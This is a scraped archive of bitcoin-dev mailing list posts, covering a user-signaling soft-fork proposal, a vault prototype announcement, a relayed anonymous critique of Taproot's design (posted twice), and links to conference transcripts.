> since following the events of '17 miners are aware that they have the
> strong incentive that they understand market demand. Nevertheless, as it
> stands right now the only signal we have to work with is miner signaling,
> which I think is rightly frustrating to a lot of people.
>
> So how can we measure User Support for a proposed rule change?
>
> I've had this idea floating around in the back of my head for a while, and
> I'd like to solicit some feedback here. Currently, all forms of activation
> that are under consideration involve miner signaling in one form or
> another. What if we could make it such that users could more directly
> pressure miners to act on their behalf? After all, if miners are but the
> humble servants of user demands, this should be in alignment with how
> people want Bitcoin to behave.
>
> Currently, the only means users have of influencing miner decisions are A.
> rejection of blocks that don't follow rules and B. paying fees for
> transaction inclusion. I suggest we combine these in such a way that
> transactions themselves can signal for upgrade. I believe (though am not
> certain) that there are "free" bits in the version field of a transaction
> that are presently ignored. If we could devise a mapping between some of
> those free bits, and the signaling bits in the block header, it would be
> possible to have rules as follows:
>
> - A transaction signaling in the affirmative MUST NOT be included in a
> block that does not signal in the affirmative
> - A transaction that is NOT signaling MAY be included in a block
> regardless of that block's signaling vector
> - (Optional) A transaction signaling in the negative MUST NOT be included
> in a block that signals in the affirmative
>
> Under this set of conditions, a user has the means of sybil-resistant
> influence over miner decisions. If a miner cannot collect the fees for a
> transaction without signaling, the user's fee becomes active economic
> pressure for the miner to signal (or not, if we include some variant of the
> negative clause). In this environment, miners could have a better view into
> what users do want, as would the Bitcoin network at large.
>
> Some may take issue with the idea that people can pay for the outcome they
> want and may try to compare a method like this to Proof of Stake, but there
> are only 3 sybil resistant mechanisms I am aware of, and any "real" view
> into what social consensus looks like MUST be sybil resistant:
>
> - Hashpower
> - Proof of personhood (KYC)
> - Capital burn/risk
>
> Letting hashpower decide this is the thing that is currently contentious,
> KYC is dead on arrival both on technical and social grounds, which really
> just leaves some means of getting capital into the process of consensus
> measurement. This mechanism I'm proposing is measurable completely
> en-protocol and doesn't require trust in institutions that fork futures
> would. Additionally it could be an auxiliary feature of the soft fork
> deployment scheme chosen making it something you could neatly package all
> together with the deployment itself.
>
> There are many potential tweaks to the design I propose above:
> 1. Do we include a notion of negative signaling (allowing for the
> possibility of rejection)
> 2. Do we make it such that miner signaling must be congruent with >X% of
> transactions, where congruence is that the signal must match any
> non-neutral signal of transaction.
>
> Some anticipated objections:
>
> 1. signaling isn't voting, no deployment should be made without consensus
> first.
> - yeah well we can't currently measure consensus right now, so that's not
> a super helpful thing to say and is breeding ground for abuse in the form
> of certain people making the unsubstantiated claim that consensus does or
> does not exist for a particular initiative
>
> 2. This is just a proposal for "pay to play", we should not let the
> wealthy make consensus decisions.
> - I agree that wealth should not be able to strong-arm decision making.
> But the status quo seems even worse where we let publicly influential
> people decide consensus in such a way where not only do they not "lose
> ammunition" in the process of campaigning, but actually accrue it, creating
> really bad long-term balances of power.
>
> 3. Enforcing this proposal requires its own soft fork.
> - Yes. It does...and there's a certain cosmic irony to that, but before we
> consider how to make this happen, I'd like to even discuss whether or not
> it's a good idea.
>
> 4. This gives CoinJoin pool operators and L2 protocol implementations
> power over deciding consensus.
> - I see this as an improvement over the status quo
>
> 5. This encourages "spam"
> - If you pay the fees, it's not spam.
>
> The biggest question I'd like to pose to the forum is:
> - Does a scheme like this afford us a better view into consensus than we
> have today?
> - Can it be gamed to give us a *worse* view into consensus? How?
> - Does it measure the right thing? If not, what do you think is the right
> thing to measure? (assuming we could)
> - Should I write a BIP spec'ing this out in detail?
>
> Cheers,
> Keagan
> _______________________________________________
> bitcoin-dev mailing list
> bitcoin-dev at lists.linuxfoundation.org
> https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev
>
--
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20220426/64c2013e/attachment.html>

2023-06-07 18:29:04

- reply

📅 Original date posted:2021-02-19
📝 Original message:On Fri, Feb 19, 2021 at 5:31 PM Matt Corallo via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> (off-list)
>
> Your email client didn't thread correctly, so I'm not sure if you saw my
> responses to Adam's email, but note that there
That was not off-list; by the way, as a reminder, some users are digest
subscribed (or not subscribed at all) and they can only reply by making a
new email thread unless they want to forge the email headers to match the
thread (which is a lost art that not many people are familiar with anymore).
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20210219/2d01eb34/attachment.html>

2023-06-07 18:28:23

- reply

📅 Original date posted:2021-02-13
📝 Original message:On Sat, Feb 13, 2021 at 4:18 AM Luke Kenneth Casson Leighton <lkcl at lkcl.net>
wrote:
> ... actually i don't see them in the bounces. what's happening there?
>
> On Saturday, February 13, 2021, Luke Kenneth Casson Leighton <
> lkcl at lkcl.net> wrote:
> > On Sat, Feb 13, 2021 at 6:10 AM ZmnSCPxj <ZmnSCPxj at protonmail.com>
> wrote:
> >> Good morning Luke,
> >
> > morning - can i ask you a favour because moderated (off-topic)
> > messages are being forwarded
> > https://lists.ozlabs.org/pipermail/bitcoin-dev-moderation/
> >
> > could you send these instead to libre-soc-dev at lists.libre-soc.org?
>
I don't see what you're talking about? None of your February emails were
sent to ozlabs according to the archives there. Threads for the bitcoin-dev
mailing list are stored here:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2021-February/thread.html
- Bryan
https://twitter.com/kanzure
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20210213/5275abae/attachment.html>

2023-06-07 18:23:48

- reply

📅 Original date posted:2020-04-13
📝 Original message:Hi,
High-security protection against theft depends on multisig and timelocks,
but more tools are possible. Last year I discussed one method where
would-be attackers are discouraged by specially designed vault covenants
[1] allowing re-vaulting transactions, where a watchtower can override a
proposed delayed-spend transaction during a public observation delay
period. Splitting coins into multiple timelocked UTXOs can give a user time
to react to theft of a much smaller portion of the total amount.
If better and better cold storage designs can be shared openly, reviewed,
and used easily, this can increase security for all bitcoin users. When the
understanding among the general public includes "bitcoin is extremely
valuable" then it becomes more urgent that the understanding in the general
public also includes "bitcoin cold storage security is impenetrable".
Today I would like to announce the release of an open-source prototype for
on-chain bitcoin vaults using pre-signed transactions and secure key
deletion. I am hoping for feedback and discussion around these concepts. To
be very clear, this is a prototype and not fit for production use.
https://github.com/kanzure/python-vaults
During the delay period, this design allows initiation of a recovery or
clawback which triggers funds being moved to deeper cold storage.
Reviewers: Generally interested in your feedback about the concept. My hope
is that the prototype and its source code helps answer some questions about
how this might work. I would suggest to also pay close attention to the
script templates for both outputs and witnesses.
Also included is an implementation of this same bitcoin vault using bip119
OP_CHECKTEMPLATEVERIFY.
I have also been working with Spencer Hommel, Jacob Swambo, and Bob
McElrath on two related manuscripts, one addressing the topic of bitcoin
covenants and the other addressing the topic of vaults based on pre-signed
transactions. As part of that project, there is a separate vault
implementation that is already available on Fidelity's github account [2].
A more bare bones implementation of python vaults can be found at [3].
Also, Kevin Loaec has an unrelated implementation using pre-signed
transactions.
Thank you,
- Bryan
[1]
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2019-August/017231.html
[2] https://github.com/fmr-llc/Vault-mbed
[3] https://github.com/JSwambo/bitcoin-vault
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20200413/0e1cf9c0/attachment.html>

2023-06-07 18:22:51

- reply

📅 Original date posted:2020-02-09
📝 Original message:Apologies for my previous attempt at relaying the message- it looks like
the emails got mangled on the archive. I am re-sending them in this
combined email with what I hope will be better formatting. Again this is
from some nym that had trouble posting to this mailing list; I didn't see
any emails in the queue so I couldn't help to publish this sooner.
SUBJECT: Taproot (and Graftroot) Complexity
This email is the first of a collection of sentiments from a group of
developers who in aggregate prefer to remain anonymous. These emails have
been sent under a pseudonym so as to keep the focus of discussion on the
merits of the technical issues, rather than miring the discussion in
personal politics. Our goal isn't to cause a schism, but rather to help
figure out what the path forward is with Taproot. To that end, we:
1) Discuss the merits of Taproot's design versus simpler alternatives (see
thread subject, "Taproot (and Graftroot) Complexity").
2) Propose an alternative path to deploying the technologies described in
BIP-340, BIP-341, and BIP-342 (see thread subject, "An Alternative
Deployment Path for Taproot Technologies").
3) Suggest a modification to Taproot to reduce some of the overhead (see
thread subject, "Taproot Public NUMS Optimization").
Now that the BIP has moved to draft we felt that now was the time to
prioritize review to make sure it was an acceptable change for our
activities. As a group, we're excited about the totality of what Taproot
has to offer. However, after our review, we're left perplexed about the
development of Taproot (and Graftroot, to a lesser extent).
We also want to convey that we have nothing but respect for the developers
and community who have poured their heart and soul into preparing Taproot.
Self evidently, it is an impressive synthesis of ideas. We believe that the
highest form of respect to pay such a synthesis of ideas is a detailed and
critical review, as it's pertinent to closely consider changes to Bitcoin.
In essence, Taproot is fundamentally the same as doing
https://github.com/bitcoin/bips/blob/master/bip-0114.mediawiki and Schnorr
signatures separately.
The main reason for putting them together -- as mentioned in the BIP -- is
a gain in efficiency. But this efficiency pre-supposes a specific use case
and probability distribution of use cases.
Compare:
Suppose a MAST for {a,b,c,d,e,f,g,h} spending conditions it looks something
like this:
/\
/ \
/ \
/ \
/\ /\
/ \ / \
/\ /\ /\ /\
a b c d e f g h
If we want this to be functionally equivalent to Taproot, we add a new path:
/\
/\ {<pk> schnorr_checksig}
/ \
/ \
/ \
/\ /\
/ \ / \
/\ /\ /\ /\
a b c d e f g h
Now, to spend from this MBV you have to reveal 32 bytes on the stack for
the not taken branch, and 35 bytes for the <pk> schnorr_checksig (1 byte
push, 33 bytes PK, 1 byte checksig).
This is 67 bytes more than Taproot would require for the same spending
condition.
However, suppose we wanted to use one of the script paths instead. We still
need to have one extra hash for the {<pk> schnorr_checksig} (depending on
if we put the key in this position or not--see below). But now we can spend
with just a logarithmic control program path.
However, if we do the same script via taproot, we now need to provide the
base public key (33 bytes) as well as the root hash (32 bytes) and path and
then the actual scripts. With the need for 2 push bytes, this ends up being
back at 67 bytes extra.
Is Taproot just a probability assumption about the frequency and likelihood
of the signature case over the script case? Is this a good assumption? The
BIP only goes as far as to claim that the advantage is apparent if the
outputs *could be spent* as an N of N, but doesn't make representations
about how likely that N of N case would be in practice compared to the
script paths. Perhaps among use cases, more than half of the ones we expect
people to be doing could be spent as an N of N. But how frequently would
that path get used? Further, while the *use cases* might skew toward things
with N of N opt-out, we might end up in a power law case where it's the one
case that doesn't use an N of N opt out at all (or at a de minimis level)
that becomes very popular, thereby making Taproot more costly then
beneficial.
Further, if you don't want to use a Taproot top-level key (e.g., you need
to be able to audit that no one can spend outside of one of the script
conditions), then you need to use a NUMS (nothing up my sleeve) point. This
forces users who don't want Taproot to pay the expense, when if they just
had a MAST based witness type they would be cheaper. So if this use case is
at all common, Taproot leaves them worse off in terms of fees. Given that
script paths are usually done in the case where there is some contested
close, it's actually in the interest of protocol developers that the
contested script path be as efficient as possible so that the fees paid
maximally increase the feerate. We think this can be fixed simply in
Taproot though, as noted below.
On privacy, we're also a bit confused as to the goal of Taproot over MAST
and Schnorr. Earlier, we presented a design with MAST which is very close
to Taproot. However, it'd also be possible to just add {<pk>
schnorr_checksig} to the set {a,b,c,d,e,f,g,h}, shuffle them, and compute
some MAST structure (perhaps probability encoded) on them. This has the
effect of not having much additional fees for adding the extra Schnorr path
at redeem time (only 1 extra branch on 2/8 script paths), e.g.
/\
/ \
/ \
/ \
/\ /\
/ \ / \
/\ /\ /\ /\
a b c d e f/\ {<pk> schnorr_checksig}
g h
We could argue that this is more private than Taproot, because we don't
distinguish between the Schnorr key case and other cases by default, so
chain analyzers can't tell if the signature came from the Taproot case or
from one of the Script paths. There's also no NUMS point required, which
means chain analyzers can't tell when you spend that there was no top level
key if the NUMS point is not per-output indistinguishable. By using a
semi-randomized MAST structure, chain analyzers also can't tell exactly how
big your spend condition MAST was. In particular, you care more about
privacy when you are contesting a close of a channel or other script path
because then the miners could be more likely to extract a rent from you as
"ransom" for properly closing your channel (or in other words, in a
contested close the value of the closing transaction is larger than usual).
It would also be possible to do something really simple which is to allow
the witness type to be either a MAST hash OR a schnorr key (but not a
Taproot). This allows you to not completely fracture the anonymity set
between people who want plain Schnorr and people who want MAST (at least
until they go to spend). This fix can also be used in Taproot in place of a
NUMS point, to decrease extra fees. It's unclear if this plays negatively
with any future batch validation mechanism though, but the contextual
checks to exclude a witness program from the batch are relatively simple.
See thread subject, "Taproot Public NUMS Optimization".
The considerations around Graftroot, a proposed delegation mechanism, is a
bit similar. Delegation is a mechanism by which a UTXO with script S can
sign a script R which can then be executed in addition to S without
requiring a transaction. This allows an output to monotonically and
dynamically increase the number of conditions under which it can be spent.
As noted by Pieter Wiulle here:
https://github.com/kanzure/diyhpluswiki/commit/a03f6567d714f8733b578de263a4b149441cd058
delegation was originally possible in Bitcoin, but got broken during an
emergency fork to split the scriptSig and scriptpubkey separation. Rather
than adding some fancy delegation mechanism in Bitcoin, why not just have a
P2SH-like semantic which allows a delegated script to be evaluated? See
BIP-117 https://github.com/bitcoin/bips/blob/master/bip-0117.mediawiki.
This way we aren't special casing where delegation can occur, and we can
allow taproot nested spending conditions (i.e., with timelocks) to generate
their own delegations. As I've seen Graftroot discussed thus far, it is as
a top-level witness program version like Taproot and non-recursive. Similar
to the above discussion, top-level is more efficient if you suspect that
delegation will be most likely occurring at the top level, but it's not
clear that's a good assumption as it may be common to want to allow
different scripts to delegate.
Overall, we are left with concerns both about the merit of doing Taproot
versus alternatives, as well as the process through which we got to be here.
1) Is Taproot actually more private than bare MAST and Schnorr separately?
What are the actual anonymity set benefits compared to doing the separately?
2) Is Taproot actually cheaper than bare MAST and Schnorr separately? What
evidence do we have that the assumption it will be more common to use
Taproot with a key will outweigh Script cases?
3) Is Taproot riskier than bare MAST and Schnorr separately given the new
crypto? How well reviewed is the actual crypto parts? None of us personally
feel comfortable reviewing the crypto in Schnorr -- what's the set of
people who have thoroughly reviewed the crypto and aren't just ACKing
because they trust other developers to have looked at it close enough?
4) Design wise, couldn't we forego the NUMS point requirement and be able
to check if it's a hash root directly? This would encumber users who don't
need the key path a cheaper spend path. See thread subject, "Taproot Public
NUMS Optimization".
5) Is the development model of trying to jam a bunch of features into
Bitcoin all at once good for Bitcoin development? Would we be better off if
we embraced incremental improvements that can work together (e.g., MAST and
then Schnorr)? Although the BIP raises some points about anonymity sets
being why to do them all at once, it's not clear to me this argument holds
water (same goes for businesses not upgrading). If we can take things as
smaller steps, we are not only more secure, but we also have more time to
dedicate review to each change independently. We also end up co-mingling
changes that people end up accepting only because they want one and they're
bundled (e.g., MAST and Schnorr, MAST seems like a much less risky addition
versus Schnorr). See thread subject, "An Alternative Deployment Path for
Taproot Technologies".
Our provocation with this email is primarily that we think we should more
carefully consider the benefits of Taproot over simpler primitives that are
not only easier to review, but could have been made available much sooner
rather than waiting on putting everything all together for an unclear
aggregate benefit.
We do think that most of the developers have been honest about the benefits
of Taproot, but that on closer look we feel the general ecosystem has
oversold Taproot as being the key enabler for a collection of techniques
that we could do with much simpler building blocks.
At the end of the day, we do not strongly advocate not deploying Taproot at
this point in the review cycle. We think the Taproot Public NUMS
Optimization may be a good idea, worth considering if it's not insecure, as
it cuts through the case where you would otherwise need a NUMS point.
Things like TapScript and its MAST mechanisms are well designed and offer
exciting new deployment paths, and would be something we would use even if
we opted for MAST instead of Taproot. However, we also believe it is our
duty to raise these concerns and suggestions, and we look forward to
listening to the responses of the community.
Great thanks,
The Group
----
SUBJECT: An Alternative Deployment Path for Taproot Technologies
This email is the second of a collection of sentiments from a group of
developers who in aggregate prefer to remain anonymous. These emails have
been sent under a pseudonym so as to keep the focus of discussion on the
merits of the technical issues, rather than miring the discussion in
personal politics. Our goal isn't to cause a schism, but rather to help
figure out what the path forward is with Taproot. To that end, we: [clip
repeat]
As a follow up to our prior message, we propose a different path forward
for the Taproot family of changes:
1) A separate soft-fork for Merkle Branch Witnesses based on Taproot;
2) A separate soft-fork for Schnorr Signatures
3) A separate follow up soft-fork which enables Taproot and Graftroot
We think that the first 2 forks can be offered at the same time or one at a
time.
Taproot, as a follow up to changes 1 and 2, can be enabled as a soft-fork
on the existing semantics, but requiring a new witness version. With the
Public NUMS Optimization, wallets could upgrade by just changing one
version byte to be in the same anonymity set as Taproot.
It's not clear to us that the time to prepare a BIP and implementation for
1 and 2 at this point would be any less than the time to do Taproot as
currently proposed. However, we believe that such a deployment plan is a
reasonable option as it is more conservative, as Merkle Branch witnesses
are relatively simple and users only have to use Schnorr signing if they
want to, and can otherwise continue to use ECDSA. A further benefit of
waiting on 3 is that we get to collect real world protocol engineering
experience to see how frequently the Taproot frequency of use assumption
holds, and if it is worth doing or not.
Great thanks,
The Group
----
SUBJECT: Taproot Public NUMS Optimization
This email is the third of a collection of sentiments from a group of
developers who in aggregate prefer to remain anonymous. These emails have
been sent under a pseudonym so as to keep the focus of discussion on the
merits of the technical issues, rather than miring the discussion in
personal politics. Our goal isn't to cause a schism, but rather to help
figure out what the path forward is with Taproot. To that end, we: [clipped
again]
We propose to modify Taproot's specification in BIP-341 by adding the rule:
If there is one element on the witness stack:
1) Attempt hashing it to see if it's equal to the witness program. The
first byte is the control byte for leaf versioning.
2) If it's not the witness program, and it's 65 bytes, try signature
validation
If there is more than one element on the witness stack:
If the control block is even, treat it as a non-Taproot MAST and get the
leaf version as the last byte of the script (so you can pop it off before
hashing).
If greater anonymity is required, a NUMS point can still be used in
Taproot, at the expense of the additional data. However, if NUMS points are
just a couple well known constants this could actually decrease privacy as
then the NUMS points could differ from application to application
fingerprinting wallets. Instead, the NUMS point should only be used when a
single use nonce can be sent, so that NUMS cannot be distinguished from a
normal Taproot to a third party who doesn't know the setup (e.g., that the
NUMS is H(X) for known X).
Great thanks,
The Group
--
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20200209/fdfb2b51/attachment-0001.html>

2023-06-07 18:22:50

- reply

2023-06-07 18:22:49

- reply

2023-06-07 18:22:46

- reply

📅 Original date posted:2020-02-09
📝 Original message:The following is a message forwarded from an anonymous email that, for
whatever reason, couldn't be relayed through the mailing list without my
assistance.
This email is the first of a collection of sentiments from a group of
developers
who in aggregate prefer to remain anonymous. These emails have been sent
under a
pseudonym so as to keep the focus of discussion on the merits of the
technical
issues, rather than miring the discussion in personal politics. Our goal
isn't
to cause a schism, but rather to help figure out what the path forward is
with
Taproot. To that end, we:
1) Discuss the merits of Taproot's design versus simpler alternatives (see
thread subject, "Taproot (and Graftroot) Complexity").
2) Propose an alternative path to deploying the technologies described in
BIP-340, BIP-341, and BIP-342 (see thread subject, "An Alternative
Deployment
Path for Taproot Technologies").
3) Suggest a modification to Taproot to reduce some of the overhead (see
thread
subject, "Taproot Public NUMS Optimization").
Now that the BIP has moved to draft we felt that now was the time to
prioritize
review to make sure it was an acceptable change for our activities. As a
group,
we're excited about the totality of what Taproot has to offer. However,
after
our review, we're left perplexed about the development of Taproot (and
Graftroot, to a lesser extent).
We also want to convey that we have nothing but respect for the developers
and
community who have poured their heart and soul into preparing Taproot. Self
evidently, it is an impressive synthesis of ideas. We believe that the
highest
form of respect to pay such a synthesis of ideas is a detailed and critical
review, as it's pertinent to closely consider changes to Bitcoin.
In essence, Taproot is fundamentally the same as doing
https://github.com/bitcoin/bips/blob/master/bip-0114.mediawiki and Schnorr
signatures separately.
The main reason for putting them together -- as mentioned in the BIP -- is a
gain in efficiency. But this efficiency pre-supposes a specific use case and
probability distribution of use cases.
Compare:
Suppose a MAST for {a,b,c,d,e,f,g,h} spending conditions it looks something
like this:
/\
/ \
/ \
/ \
/\ /\
/ \ / \
/\ /\ /\ /\
a b c d e f g h
If we want this to be functionally equivalent to Taproot, we add a new path:
/\
/\ {<pk> schnorr_checksig}
/ \
/ \
/ \
/\ /\
/ \ / \
/\ /\ /\ /\
a b c d e f g h
Now, to spend from this MBV you have to reveal 32 bytes on the stack for
the not
taken branch, and 35 bytes for the <pk> schnorr_checksig (1 byte push, 33
bytes
PK, 1 byte checksig).
This is 67 bytes more than Taproot would require for the same spending
condition.
However, suppose we wanted to use one of the script paths instead. We still
need
to have one extra hash for the {<pk> schnorr_checksig} (depending on if we
put
the key in this position or not--see below). But now we can spend with just
a
logarithmic control program path.
However, if we do the same script via taproot, we now need to provide the
base
public key (33 bytes) as well as the root hash (32 bytes) and path and then
the
actual scripts. With the need for 2 push bytes, this ends up being back at
67
bytes extra.
Is Taproot just a probability assumption about the frequency and likelihood
of
the signature case over the script case? Is this a good assumption? The BIP
only goes as far as to claim that the advantage is apparent if the outputs
*could be spent* as an N of N, but doesn't make representations about how
likely
that N of N case would be in practice compared to the script paths. Perhaps
among use cases, more than half of the ones we expect people to be doing
could be
spent as an N of N. But how frequently would that path get used? Further,
while
the *use cases* might skew toward things with N of N opt-out, we might end
up in
a power law case where it's the one case that doesn't use an N of N opt out
at
all (or at a de minimis level) that becomes very popular, thereby making
Taproot
more costly then beneficial.
Further, if you don't want to use a Taproot top-level key (e.g., you need
to be
able to audit that no one can spend outside of one of the script
conditions),
then you need to use a NUMS (nothing up my sleeve) point. This forces users
who
don't want Taproot to pay the expense, when if they just had a MAST based
witness type they would be cheaper. So if this use case is at all common,
Taproot leaves them worse off in terms of fees. Given that script paths are
usually done in the case where there is some contested close, it's actually
in
the interest of protocol developers that the contested script path be as
efficient as possible so that the fees paid maximally increase the feerate.
We
think this can be fixed simply in Taproot though, as noted below.
On privacy, we're also a bit confused as to the goal of Taproot over MAST
and
Schnorr. Earlier, we presented a design with MAST which is very close to
Taproot.
However, it'd also be possible to just add {<pk> schnorr_checksig} to the
set
{a,b,c,d,e,f,g,h}, shuffle them, and compute some MAST structure (perhaps
probability encoded) on them. This has the effect of not having much
additional
fees for adding the extra Schnorr path at redeem time (only 1 extra branch
on
2/8 script paths), e.g.
/\
/ \
/ \
/ \
/\ /\
/ \ / \
/\ /\ /\ /\
a b c d e f/\ {<pk> schnorr_checksig}
g h
We could argue that this is more private than Taproot, because we don't
distinguish between the Schnorr key case and other cases by default, so
chain
analyzers can't tell if the signature came from the Taproot case or from
one of
the Script paths. There's also no NUMS point required, which means chain
analyzers can't tell when you spend that there was no top level key if the
NUMS
point is not per-output indistinguishable. By using a semi-randomized MAST
structure, chain analyzers also can't tell exactly how big your spend
condition
MAST was. In particular, you care more about privacy when you are
contesting a
close of a channel or other script path because then the miners could be
more
likely to extract a rent from you as "ransom" for properly closing your
channel
(or in other words, in a contested close the value of the closing
transaction is
larger than usual).
It would also be possible to do something really simple which is to allow
the
witness type to be either a MAST hash OR a schnorr key (but not a Taproot).
This
allows you to not completely fracture the anonymity set between people who
want
plain Schnorr and people who want MAST (at least until they go to spend).
This
fix can also be used in Taproot in place of a NUMS point, to decrease extra
fees. It's unclear if this plays negatively with any future batch validation
mechanism though, but the contextual checks to exclude a witness program
from
the batch are relatively simple. See thread subject, "Taproot Public NUMS
Optimization".
The considerations around Graftroot, a proposed delegation mechanism, is a
bit
similar. Delegation is a mechanism by which a UTXO with script S can sign a
script R which can then be executed in addition to S without requiring a
transaction. This allows an output to monotonically and dynamically
increase the
number of conditions under which it can be spent. As noted by Pieter Wiulle
here:
https://github.com/kanzure/diyhpluswiki/commit/a03f6567d714f8733b578de263a4b149441cd058
delegation was originally possible in Bitcoin, but got broken during an
emergency fork to split the scriptSig and scriptpubkey separation. Rather
than
adding some fancy delegation mechanism in Bitcoin, why not just have a
P2SH-like
semantic which allows a delegated script to be evaluated? See BIP-117
https://github.com/bitcoin/bips/blob/master/bip-0117.mediawiki. This way we
aren't special casing where delegation can occur, and we can allow taproot
nested spending conditions (i.e., with timelocks) to generate their own
delegations. As I've seen Graftroot discussed thus far, it is as a top-level
witness program version like Taproot and non-recursive. Similar to the above
discussion, top-level is more efficient if you suspect that delegation will
be
most likely occurring at the top level, but it's not clear that's a good
assumption as it may be common to want to allow different scripts to
delegate.
Overall, we are left with concerns both about the merit of doing Taproot
versus alternatives, as well as the process through which we got to be here.
1) Is Taproot actually more private than bare MAST and Schnorr separately?
What
are the actual anonymity set benefits compared to doing the separately?
2) Is Taproot actually cheaper than bare MAST and Schnorr separately? What
evidence do we have that the assumption it will be more common to use
Taproot
with a key will outweigh Script cases?
3) Is Taproot riskier than bare MAST and Schnorr separately given the new
crypto? How well reviewed is the actual crypto parts? None of us personally
feel
comfortable reviewing the crypto in Schnorr -- what's the set of people who
have
thoroughly reviewed the crypto and aren't just ACKing because they trust
other
developers to have looked at it close enough?
4) Design wise, couldn't we forego the NUMS point requirement and be able to
check if it's a hash root directly? This would encumber users who don't
need the
key path a cheaper spend path. See thread subject, "Taproot Public NUMS
Optimization".
5) Is the development model of trying to jam a bunch of features into
Bitcoin
all at once good for Bitcoin development? Would we be better off if we
embraced
incremental improvements that can work together (e.g., MAST and then
Schnorr)?
Although the BIP raises some points about anonymity sets being why to do
them
all at once, it's not clear to me this argument holds water (same goes for
businesses not upgrading). If we can take things as smaller steps, we are
not
only more secure, but we also have more time to dedicate review to each
change
independently. We also end up co-mingling changes that people end up
accepting
only because they want one and they're bundled (e.g., MAST and Schnorr, MAST
seems like a much less risky addition versus Schnorr). See thread subject,
"An
Alternative Deployment Path for Taproot Technologies".
Our provocation with this email is primarily that we think we should more
carefully consider the benefits of Taproot over simpler primitives that are
not
only easier to review, but could have been made available much sooner rather
than waiting on putting everything all together for an unclear aggregate
benefit.
We do think that most of the developers have been honest about the benefits
of
Taproot, but that on closer look we feel the general ecosystem has oversold
Taproot as being the key enabler for a collection of techniques that we
could do
with much simpler building blocks.
At the end of the day, we do not strongly advocate not deploying Taproot at
this
point in the review cycle. We think the Taproot Public NUMS Optimization
may be
a good idea, worth considering if it's not insecure, as it cuts through the
case
where you would otherwise need a NUMS point. Things like TapScript and its
MAST
mechanisms are well designed and offer exciting new deployment paths, and
would
be something we would use even if we opted for MAST instead of Taproot.
However,
we also believe it is our duty to raise these concerns and suggestions, and
we
look forward to listening to the responses of the community.
Great thanks,
The Group
SUBJECT: An Alternative Deployment Path for Taproot Technologies
This email is the second of a collection of sentiments from a group of
developers
who in aggregate prefer to remain anonymous. These emails have been sent
under a
pseudonym so as to keep the focus of discussion on the merits of the
technical
issues, rather than miring the discussion in personal politics. Our goal
isn't
to cause a schism, but rather to help figure out what the path forward is
with
Taproot. To that end, we:
1) Discuss the merits of Taproot's design versus simpler alternatives (see
thread subject, "Taproot (and Graftroot) Complexity").
2) Propose an alternative path to deploying the technologies described in
BIP-340, BIP-341, and BIP-342 (see thread subject, "An Alternative
Deployment
Path for Taproot Technologies").
3) Suggest a modification to Taproot to reduce some of the overhead (see
thread
subject, "Taproot Public NUMS Optimization").
As a follow up to our prior message, we propose a different path forward
for the
Taproot family of changes:
1) A separate soft-fork for Merkle Branch Witnesses based on Taproot;
2) A separate soft-fork for Schnorr Signatures
3) A separate follow up soft-fork which enables Taproot and Graftroot
We think that the first 2 forks can be offered at the same time or one at a
time.
Taproot, as a follow up to changes 1 and 2, can be enabled as a soft-fork
on the
existing semantics, but requiring a new witness version. With the Public
NUMS Optimization, wallets could upgrade by just changing one version byte
to be
in the same anonymity set as Taproot.
It's not clear to us that the time to prepare a BIP and implementation for
1 and
2 at this point would be any less than the time to do Taproot as currently
proposed. However, we believe that such a deployment plan is a reasonable
option
as it is more conservative, as Merkle Branch witnesses are relatively
simple and
users only have to use Schnorr signing if they want to, and can otherwise
continue to use ECDSA. A further benefit of waiting on 3 is that we get to
collect real world protocol engineering experience to see how frequently the
Taproot frequency of use assumption holds, and if it is worth doing or not.
Great thanks,
The Group
--
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20200209/94a71b6f/attachment-0001.html>

2023-06-07 18:21:07

- reply

📅 Original date posted:2019-10-04
📝 Original message:Since the user can't prove that they are using this technique, or
petertodd's timelock encryption for that matter, an attacker has little
incentive to stop physically attacking until they have a spendable UTXO.
I believe you can get the same effect with on-chain timelocks, or
delete-the-bits plus a rangeproof and a zero-knowledge proof that the
rangeproof corresponds to some secret that can be used to derive the
expected public key. I think Jeremy Rubin had an idea for such a proof.
Also, adam3us has described a similar thought here:
https://bitcointalk.org/index.php?topic=311000.0
- Bryan
On Fri, Oct 4, 2019, 4:43 AM Saulo Fonseca via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> Hi everyone
>
> If you are a hodler, I like to propose the creation of a key stretching as
> a new layer of protection over your current wallet.
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20191004/1473ba33/attachment.html>

2023-06-07 18:20:33

- reply

📅 Original date posted:2019-09-16
📝 Original message:Hi,
Here are some transcripts of talks from Scaling Bitcoin 2019 Tel Aviv. Any
errors are most likely my own.
Training material
============
Training materials for bitcoin developers:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/
Foundation topics:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/bitcoin-data-structures/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/blockchain-design-patterns/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/hardware-wallet-design-best-practices/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/privacy-concepts/
Developing Bitcoin Core:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/bitcoin-core-functional-test-framework/
